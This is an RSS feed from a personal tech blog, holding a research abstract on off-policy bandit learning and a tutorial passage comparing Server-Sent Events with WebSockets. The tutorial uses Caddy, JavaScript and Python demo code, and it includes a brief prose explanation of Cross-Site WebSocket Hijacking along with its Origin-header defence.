
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>germano.dev</title>
        <link>https://germano.dev/</link>
        <description>undefined</description>
        <lastBuildDate>Wed, 20 Jul 2022 21:01:44 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>Gridsome Feed Plugin</generator>
        <language>en</language>
        <atom:link href="https://germano.dev/feed.xml" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[Online Learning with Off-Policy Feedback]]></title>
            <link>https://germano.dev/online-learning-off-policy/</link>
            <guid>https://germano.dev/online-learning-off-policy/</guid>
            <pubDate>Tue, 19 Jul 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[We study the problem of online learning in adversarial bandit problems under a partial observability model called off-policy feedback.]]></description>
            <content:encoded><![CDATA[<p>We study the problem of online learning in adversarial bandit problems under a
partial observability model called off-policy feedback.</p>
<p>In this sequential
decision making problem, the learner cannot directly observe its rewards, but
instead sees the ones obtained by another unknown policy run in parallel
(behavior policy).
Instead of a standard exploration-exploitation dilemma, the learner has to face
another challenge in this setting: due to limited observations outside of their
control, the learner may not be able to estimate the value of each  policy
equally well. While there is no exploration-exploitation tradeoff that the
learner has to face, the learner still has to address the challenge of not
being able to estimate the value of each policy equally well.
To address this issue, we propose a set of algorithms that guarantee regret
bounds that scale with a natural notion of mismatch between any comparator
policy and the behavior policy, achieving improved performance against
comparators that are well-covered by the observations.
We also provide an  extension to the setting of adversarial linear contextual
bandits, and verify the theoretical guarantees via a set of experiments. Our
key algorithmic idea is adapting the notion of pessimistic reward estimators
that has been recently popular in the context of off-policy reinforcement learning.</p>
<p><strong>Come to check out our poster at the <a href="https://icml.cc/virtual/2022/workshop/13466">Complex feedback in online learning
workshop</a> this Saturday!</strong></p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Sent Events: the alternative to WebSockets you should be using]]></title>
            <link>https://germano.dev/sse-websockets/</link>
            <guid>https://germano.dev/sse-websockets/</guid>
            <pubDate>Sat, 12 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[WebSockets are the most used technology for real-time web apps. However, Server Sent Events (SSE) are a simpler alternative that is often superior.
]]></description>
            <content:encoded><![CDATA[
<p>When developing real-time web applications, WebSockets might be the first thing
that come to your mind. However, Server Sent Events (SSE) are a simpler
alternative that is often superior.</p>
<section class="contents">
<h2 id="contents">Contents<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#contents"><span class="icon icon-link"></span></a></h2>
<ol>
<li><a href="#prologue">Prologue</a></li>
<li><a href="#websockets">WebSockets?</a></li>
<li><a href="#what-is-wrong-with-websockets">What is wrong with WebSockets</a><ol>
<li><a href="#compression">Compression</a></li>
<li><a href="#multiplexing">Multiplexing</a></li>
<li><a href="#proxies">Issues with proxies</a></li>
<li><a href="#hijacking">Cross-Site WebSocket Hijacking</a></li>
</ol></li>
<li><a href="#sse">Server-Sent Events</a></li>
<li><a href="#code">Let’s write some code</a><ol>
<li><a href="#reverse-proxy">The Reverse-Proxy</a></li>
<li><a href="#frontend">The Frontend</a></li>
<li><a href="#backend">The Backend</a></li>
</ol></li>
<li><a href="#bonus">Bonus: Cool SSE features</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ol>
</section>
<h2 id="prologue">Prologue<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#prologue"><span class="icon icon-link"></span></a></h2>
<p>Recently I have been curious about the best way to implement a
<em>real-time web application</em>. That is, an application containing one ore more components
which automatically update, in real-time, reacting to some external event.
The most common example of such an application, would be a messaging service, where we
want every message to be immediately broadcasted to everyone that is connected,
without requiring any user interaction.</p>
<p>After some research I stumbled upon an <a href="https://www.youtube.com/watch?v=n9mRjkQg3VE">amazing talk by Martin Chaov</a>, which compares Server Sent
Events, WebSockets and Long Polling. The talk, which is also <a href="https://www.smashingmagazine.com/2018/02/sse-websockets-data-flow-http2/#comments-sse-websockets-data-flow-http2">available as a blog post</a>,
is entertaining and very informative. I really recommend it.
However, it is from 2018 and some small things have changed, so I decided to write this article.</p>
<h2 id="websockets">WebSockets?<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#websockets"><span class="icon icon-link"></span></a></h2>
<p><a href="https://tools.ietf.org/html/rfc6455">WebSockets</a> enable the creation of <strong>two-way</strong> <strong>low-latency</strong> communication
channels between the browser and a server.</p>

<p>This makes them ideal in certain scenarios, like multiplayer games, where the
communication is <strong>two-way</strong>, in the sense that both the browser and server
send messages on the channel <strong>all the time</strong>, and it is required that these messages
be delivered with <strong>low latency</strong>.</p>
<p>In a First-Person Shooter,
the browser could be continuously streaming
the player’s position, while simoultaneously receiving updates on the location of all
the other players from the server. Moreover, we definitely want
these messages to be delivered with as little overhead as possible, to avoid
the game feeling sluggish.</p>
<p>This is the opposite of the traditional <a href="https://en.wikipedia.org/wiki/Request%E2%80%93response">request-response model</a> of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">HTTP</a>, where
the browser is always the one initiating the communication, and each message
has a significant overhead, due to establishing <a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol">TCP connections</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">HTTP headers</a>.</p>
<p>However, many applications do not have requirements this strict.
Even among real-time applications, <strong>the data flow is usually asymmetric</strong>:
the server sends the majority of the messages while the client mostly just listens and
only once in a while sends some updates. For example, in a chat application
an user may be connected to many rooms each with tens or hundreds of participants.
Thus, the volume of messages received far exceeds the one of messages sent.</p>
<h2 id="what-is-wrong-with-websockets">What is wrong with WebSockets<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#what-is-wrong-with-websockets"><span class="icon icon-link"></span></a></h2>
<p>Two-way channels and low latency are extremely good features. Why bother looking
further? </p>
<p>WebSockets have one major drawback: <strong>they do not work on top of HTTP</strong>, at least
not fully. They require their own TCP connection. They use HTTP only to establish
the connection, but then upgrade it to a standalone TCP connection on top of
which the WebSocket protocol can be used.</p>
<p>This may not seem a big deal, however it means that <strong>WebSockets cannot benefit
from any HTTP feature</strong>. That is:</p>
<ul>
<li>No support for compression</li>
<li>No support for HTTP/2 multiplexing</li>
<li>Potential issues with proxies</li>
<li>No protection from Cross-Site Hijacking</li>
</ul>

<p>At least, this was the situation when the WebSocket protocol was first released.
Nowadays, there are some complementary standards that try to improve upon this
situation. Let’s take a closer look to the current situation.</p>
<p><strong>Note</strong>: If you do not care about the details, feel free to skip the rest of
this section and jump directly to <a href="#sse">Server-Sent Events</a> or the <a href="#code">demo</a>.</p>
<h3 id="compression">Compression<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#compression"><span class="icon icon-link"></span></a></h3>

<p>On standard connections,
<a href="https://en.wikipedia.org/wiki/HTTP_compression">HTTP compression</a> is supported by every browser, and is super easy to enable
server-side. Just flip a switch in your reverse-proxy of choice. With WebSockets
the question is more complex, because there are no requests and responses, but
one needs to compress the individual WebSocket frames.</p>
<p><a href="https://tools.ietf.org/html/rfc7692">RFC 7692</a>, released on December 2015, tries to improve the situation by
definining <em>“Compression Extensions for WebSocket”</em>. However, to the best of my knowledge,
no popular reverse-proxy (e.g. nginx, caddy) implements this, making it impossible
to have compression enabled transparently.</p>
<p>This means that if you want compression, it has to be implemented directly in your backend.
Luckily, I was able to find some libraries supporting RFC 7692. For example,
the <a href="https://websockets.readthedocs.io/en/stable/extensions.html">websockets</a> and <a href="https://github.com/python-hyper/wsproto/">wsproto</a> Python libraries, and
the <a href="https://github.com/websockets/ws">ws</a> library for nodejs.</p>
<p>However, the latter suggests not to use the feature:</p>
<blockquote>
<p>The extension is disabled by default on the server and enabled by default on
the client. It adds a significant overhead in terms of performance and memory
consumption so we suggest to enable it only if it is really needed.</p>
<p>Note that Node.js has a variety of issues with high-performance compression,
where increased concurrency, especially on Linux, can lead to catastrophic
memory fragmentation and slow performance.</p>
</blockquote>
<p>On the browsers side, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/37#networking">Firefox supports WebSocket compression since version 37</a>.
<a href="https://chromestatus.com/feature/6555138000945152">Chrome supports it as well</a>. However, apparently Safari and Edge do not.</p>
<p>I did not take the time to verify what is the situation on the mobile landscape.</p>


<h3 id="multiplexing">Multiplexing<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#multiplexing"><span class="icon icon-link"></span></a></h3>
<p><a href="https://tools.ietf.org/html/rfc7540">HTTP/2</a> introduced support for multiplexing, meaning that multiple request/response
pairs to the same host no longer require separate TCP connections. Instead, they all share
the same TCP connection, each operating on its own independent <a href="https://tools.ietf.org/html/rfc7540#section-5">HTTP/2 stream</a>.</p>
<p>This is, again, <a href="https://caniuse.com/http2">supported by every browser</a> and is very easy to
transparently enable on most reverse-proxies.</p>
<p>On the contrary, the WebSocket protocol has no support, by default, for multiplexing.
Multiple WebSockets to the same host will each open their own separate TCP
connection. If you want to have two separate WebSocket endpoints share their
underlying connection you must add multiplexing in your application’s code.</p>
<p><a href="https://tools.ietf.org/html/rfc8441">RFC 8441</a>, released on September 2018, tries to fix this limitation by
adding support for <em>“Bootstrapping WebSockets with HTTP/2”</em>. It has been
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1434137">implemented in Firefox</a> <a href="https://chromestatus.com/feature/6251293127475200">and Chrome</a>. However, as far as I know, no major
reverse-proxy implements it. Unfortunately, I could not find any implementation in
Python or Javascript either.</p>
<h3 id="proxies">Issues with proxies<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#proxies"><span class="icon icon-link"></span></a></h3>
<p>HTTP proxies without explicit support for WebSockets can prevent unencrypted
WebSocket connections to work. This is because the proxy will not be able to
parse the WebSocket frames and close the connection.</p>
<p>However, WebSocket connections happening over HTTPS should be unaffected by
this problem, since the frames will be encrypted and the proxy should just
forward everything without closing the connection.</p>
<p>To learn more, see <a href="https://www.infoq.com/articles/Web-Sockets-Proxy-Servers/">“How HTML5 Web Sockets Interact With Proxy Servers”</a>
by Peter Lubbers.</p>
<h3 id="hijacking">Cross-Site WebSocket Hijacking<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#hijacking"><span class="icon icon-link"></span></a></h3>

<p>WebSocket connections are not protected by the same-origin policy. This makes
them vulnerable to Cross-Site WebSocket Hijacking.</p>
<p>Therefore, <strong>WebSocket backends must check the correctness of the <code>Origin</code> header</strong>,
if they use any kind of client-cached authentication, such as <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">cookies</a> or
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a>.</p>
<p>I will not go into the details here, but consider this short example. Assume
a Bitcoin Exchange uses WebSockets to provide its trading service. When you
log in, the Exchange might set a cookie to keep your session active
for a given period of time. Now, all an attacker has to do to steal your precious
Bitcoins is make you visit a site under her control, and simply open a WebSocket
connection to the Exchange. The malicious connection is going to be automatically
authenticated. That is, unless the Exchange checks the <code>Origin</code> header and blocks
the connections coming from unauthorized domains.</p>
<p>I encourage you to check out the great article about <a href="https://christian-schneider.net/CrossSiteWebSocketHijacking.html#main">Cross-Site WebSocket Hijacking</a> by
Christian Schneider, to learn more.</p>
<h2 id="sse">Server-Sent Events<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#sse"><span class="icon icon-link"></span></a></h2>
<p>Now that we know a bit more about WebSockets, including their advantages and shortcomings,
let us learn about Server-Sent Events and find out if they are a valid alternative.</p>

<p><a href="https://html.spec.whatwg.org/#server-sent-events">Server-Sent Events</a> enable the server to send low-latency push
events to the client, at any time.
They use a very simple protocol that is <a href="https://html.spec.whatwg.org/#server-sent-events">part of the HTML Standard</a> and <a href="https://caniuse.com/eventsource">supported by every
browser</a>.</p>
<p>Unlike WebSockets, <strong>Server-sent Events flow only one way</strong>: from the
server to the client. This makes them unsuitable for a very specific set of
applications, that is, those that require a communication channel that is <strong>both
two-way and low latency</strong>, like real-time games.
However, this trade-off is also their major advantage
over WebSockets, because being <em>one-way</em>, <strong>Server-Sent Events work seamlessly on top of HTTP,
without requiring a custom protocol</strong>. This gives them automatic access to
all of HTTP’s features, such as compression or HTTP/2 multiplexing, making them a very convenient choice
for the majority of real-time applications, where the bulk of the data is sent from the server, and
where a little overhead in requests, due to HTTP headers, is acceptable.</p>

<p>The protocol is very simple. It uses the <code>text/event-stream</code> Content-Type and
messages of the form:</p>
<pre class="language-text"><code class="language-text">data: First message

event: join
data: Second message. It has two
data: lines, a custom event type and an id.
id: 5

: comment. Can be used as keep-alive

data: Third message. I do not have more data.
data: Please retry later.
retry: 10</code></pre>
<p>Each event is separated by two empty lines (<code>\n</code>) and consists of various optional
fields.</p>
<p>The <code>data</code> field, which can be repeted to denote multiple lines in the message,
is unsurprisingly used for the content of the event.</p>
<p>The <code>event</code> field allows to specify custom event types, which as we will show
in the next section, can be used to fire different event handlers on the client.</p>

<p>The other two fields, <code>id</code> and <code>retry</code>, are used to configure the behaviour of the <em>automatic
reconnection mechanism</em>. This is one of the most interesting features of Server-Sent
Events. It ensures that
<strong>when the connection is dropped or closed by the server, the client will
automatically try to reconnect</strong>, without any user intervention.</p>
<p>The <code>retry</code> field is used to specify the minimum amount of time, in seconds,
to wait before trying to reconnect.
It can also be sent by a server, immediately before closing the client’s connection,
to reduce its load when too many clients are connected.</p>
<p>The <code>id</code> field associates an identifier with the current event. When reconnecting
the client will transmit to the server the last seen id, using the <code>Last-Event-ID</code> HTTP header.
This allows the stream to be resumed from the correct point.</p>
<p>Finally, the server can stop the automatic reconnection mechanism altogether
by returning an <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/204">HTTP 204 No Content</a> response.</p>

<h2 id="code">Let’s write some code!<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#code"><span class="icon icon-link"></span></a></h2>

<p>Let us now put into practice what we learned.
In this section we will implement a simple service 
both with Server-Sent Events and WebSockets.
This should enable us to compare the two technologies. We will find out how easy
it is to get started with each one, and verify by hand the features discussed
in the previous sections.</p>
<p>We are going to use Python
for the backend, Caddy as a reverse-proxy and of course a couple of lines of
JavaScript for the frontend.</p>
<p>To make our example as simple as possible, our backend is just going to consist of
two endpoints, each streaming a unique sequence of random numbers. They are going to be reachable from
<code>/sse1</code> and <code>/sse2</code> for Server-Sent Events, and from <code>/ws1</code> and <code>/ws2</code> for
WebSockets. While our frontend is going to consist of a single <code>index.html</code>
file, with some JavaScript which will let us start and stop WebSockets and
Server-Sent Events connections.</p>
<p><a href="https://github.com/tyrion/sse-websockets-demo">The code of this example is available on GitHub</a>.</p>
<h3 id="reverse-proxy">The Reverse-Proxy<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#reverse-proxy"><span class="icon icon-link"></span></a></h3>

<p>Using a reverse-proxy, such as Caddy or nginx, is very useful, even in a small
example such as this one.
It gives us very easy access to many features that our backend
of choice may lack.</p>
<p>More specifically, it allows us to easily serve static files and automatically
compress HTTP responses; to provide support for HTTP/2, letting us benefit
from multiplexing, even if our
backend only supports HTTP/1; and finally to do load balancing.</p>
<p>I chose Caddy because it automatically manages for us HTTPS certificates,
letting us skip a very boring task, especially for a quick experiment.</p>
<p>The basic configuration, which resides in a <code>Caddyfile</code> at the root of our
project, looks something like this:</p>
<pre class="language-text"><code class="language-text">localhost

bind 127.0.0.1 ::1

root ./static
file_server browse

encode zstd gzip</code></pre>
<p>This instructs Caddy to listen on the local interface on ports 80 and 443,
enabling support for HTTPS and generating a self-signed certificate. It also
enables compression and serving static files from the <code>static</code> directory.</p>
<p>As the last step we need to ask Caddy to proxy our backend services. Server-Sent
Events is just regular HTTP, so nothing special here:</p>
<pre class="language-text"><code class="language-text">reverse_proxy /sse1 127.0.1.1:6001
reverse_proxy /sse2 127.0.1.1:6002</code></pre>
<p>To proxy WebSockets our reverse-proxy needs to have explicit support for it.
Luckily, Caddy can handle this without problems, even though the configuration
is slighly more verbose:</p>
<pre class="language-text"><code class="language-text">@websockets {
    header Connection *Upgrade*
    header Upgrade    websocket
}

handle /ws1 {
    reverse_proxy @websockets 127.0.1.1:6001
}

handle /ws2 {
    reverse_proxy @websockets 127.0.1.1:6002
}</code></pre>
<p>Finally you should start Caddy with</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">sudo</span> caddy start</code></pre>
<h3 id="frontend">The Frontend<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#frontend"><span class="icon icon-link"></span></a></h3>
<p>Let us start with the frontend, by comparing the JavaScript APIs of WebSockets
and Server-Sent Events.</p>
<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/Websockets_API">WebSocket JavaScript API</a> is very simple to use.
First, we need to create a new
<code>WebSocket</code> object passing the URL of the server. Here <code>wss</code> indicates that
the connection is to happen over HTTPS. As mentioned above it is really recommended
to use HTTPS to avoid issues with proxies.</p>
<p>Then, we should listen to some of the possible events (i.e. <code>open</code>,
<code>message</code>, <code>close</code>, <code>error</code>), by either setting the <code>on$event</code> property or
by using <code>addEventListener()</code>.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">const</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebSocket</span><span class="token punctuation">(</span><span class="token string">"wss://localhost/ws"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

ws<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onopen</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token string">"WebSocket open"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

ws<span class="token punctuation">.</span><span class="token method function property-access">addEventListener</span><span class="token punctuation">(</span>
  <span class="token string">"message"</span><span class="token punctuation">,</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span><span class="token property-access">data</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>The JavaScript API for Server-Sent Events is very similar. It requires us to
create a new <code>EventSource</code> object passing the URL of the server, and then
allows us to subscribe to the events in the same way as before.</p>
<p>The main difference is that we can also subscribe to custom events.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">const</span> es <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">EventSource</span><span class="token punctuation">(</span><span class="token string">"https://localhost/sse"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

es<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onopen</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token string">"EventSource open"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

es<span class="token punctuation">.</span><span class="token method function property-access">addEventListener</span><span class="token punctuation">(</span>
  <span class="token string">"message"</span><span class="token punctuation">,</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span><span class="token property-access">data</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token comment">// Event listener for custom event</span>
es<span class="token punctuation">.</span><span class="token method function property-access">addEventListener</span><span class="token punctuation">(</span>
  <span class="token string">"join"</span><span class="token punctuation">,</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>e<span class="token punctuation">.</span><span class="token property-access">data</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> joined</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre>
<p>We can now use all this freshly aquired knowledge about JS APIs to build our
actual frontend.</p>
<p>To keep things as simple as possible, it is going to consist of only one <code>index.html</code>
file, with a bunch of buttons that will let us start and stop our WebSockets
and EventSources. Like so</p>

<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;</span>button</span> <span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>startWS(1)<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Start WS1<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;/</span>button</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;</span>button</span> <span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>closeWS(1)<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Close WS1<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;/</span>button</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;</span>br</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;</span>button</span> <span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>startWS(2)<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Start WS2<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;/</span>button</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;</span>button</span> <span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>closeWS(2)<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Close WS2<span class="token tag"><span class="token tag"><span class="token punctuation">&#x3C;/</span>button</span><span class="token punctuation">></span></span></code></pre>
<p>We want more than one WebSocket/EventSource so we can test if HTTP/2 multiplexing
works and how many connections are open.</p>
<p>Now let us implement the two functions needed by those buttons to work:</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">const</span> wss <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>

<span class="token keyword">function</span> <span class="token function">startWS</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token keyword">if</span> <span class="token punctuation">(</span>wss<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token keyword nil">undefined</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>

  <span class="token keyword">const</span> ws <span class="token operator">=</span> wss<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebSocket</span><span class="token punctuation">(</span><span class="token string">"wss://localhost/ws"</span><span class="token operator">+</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>
  ws<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onopen</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token string">"WS open"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  ws<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onmessage</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span><span class="token property-access">data</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  ws<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onclose</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token function">closeWS</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

<span class="token keyword">function</span> <span class="token function">closeWS</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token keyword">if</span> <span class="token punctuation">(</span>wss<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token keyword nil">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token string">"Closing websocket"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    websockets<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token method function property-access">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">delete</span> websockets<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>
  <span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<p>The frontend code for Server-Sent Events is almost identical. The only difference
is the <code>onerror</code> event handler, which is there because in case of error a message
is logged and the browser will attempt to reconnect.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">const</span> ess <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>

<span class="token keyword">function</span> <span class="token function">startES</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token keyword">if</span> <span class="token punctuation">(</span>ess<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token keyword nil">undefined</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>

  <span class="token keyword">const</span> es <span class="token operator">=</span> ess<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">EventSource</span><span class="token punctuation">(</span><span class="token string">"https://localhost/sse"</span><span class="token operator">+</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>
  es<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onopen</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token string">"ES open"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
  es<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onerror</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token string">"ES error"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span>
  es<span class="token punctuation">.</span><span class="token method-variable function-variable method function property-access">onmessage</span> <span class="token operator">=</span> <span class="token parameter">e</span> <span class="token arrow operator">=></span> <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span><span class="token property-access">data</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

<span class="token keyword">function</span> <span class="token function">closeES</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token keyword">if</span> <span class="token punctuation">(</span>ess<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token keyword nil">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token console class-name">console</span><span class="token punctuation">.</span><span class="token method function property-access">log</span><span class="token punctuation">(</span><span class="token string">"Closing EventSource"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    ess<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token method function property-access">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token keyword">delete</span> ess<span class="token punctuation">[</span>i<span class="token punctuation">]</span>
  <span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<h3 id="backend">The Backend<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#backend"><span class="icon icon-link"></span></a></h3>

<p>To write our backend, we are going to use <a href="https://www.starlette.io/">Starlette</a>, a simple async web framework
for Python, and <a href="https://www.uvicorn.org/">Uvicorn</a> as the server.
Moreover, to make things modular, we are going to separate the <em>data-generating process</em>,
from the implementation of the endpoints.</p>
<p>We want each of the two endpoints to generate an <em>unique</em> random sequence
of numbers. To accomplish this we will use the stream id (i.e. <code>1</code> or <code>2</code>) as
part of the <a href="https://en.wikipedia.org/wiki/Random_seed">random seed</a>.</p>
<p>Ideally, we would also like our streams to be <em>resumable</em>. That is, a client
should be able to resume the stream from the last message it received, in case
the connection is dropped, instead or re-reading the whole sequence.
To make this possible we will assign an ID to each message/event, and use it
to initialize the random seed, together with the stream id, before each message
is generated.
In our case, the ID is just going to be a counter starting from <code>0</code>.</p>

<p>With all that said, we are ready to write the <code>get_data</code> function which is
responsible to generate our random numbers:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> random

<span class="token keyword">def</span> <span class="token function">get_data</span><span class="token punctuation">(</span>stream_id<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> event_id<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">int</span><span class="token punctuation">:</span>
    rnd <span class="token operator">=</span> random<span class="token punctuation">.</span>Random<span class="token punctuation">(</span><span class="token punctuation">)</span>
